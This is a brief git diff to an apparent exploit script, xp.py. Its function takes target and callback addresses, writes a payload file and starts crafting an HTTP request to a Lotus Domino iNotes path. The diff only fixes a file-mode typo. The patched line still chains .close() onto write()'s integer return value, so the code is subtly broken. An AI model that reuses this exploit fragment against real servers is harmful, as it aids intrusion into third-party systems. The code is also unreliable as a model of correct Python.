diff --git a/xp.py b/xp.py index 74d3b7b..d18a6b3 100644 --- a/xp.py +++ b/xp.py @@ -51,7 +51,7 @@ def clap(host, port, yourip, yourport): # with open("payload.bin", "wb") as f: # f.write(niceone) - open("payload.bin", "Wb").write(niceone).close() + open("payload.bin", "wb").write(niceone).close() request = b'GET /iNotes/Forms%d.nsf// HTTP/1.0\r\n' request += f'Host: {host}\r\n'.encode()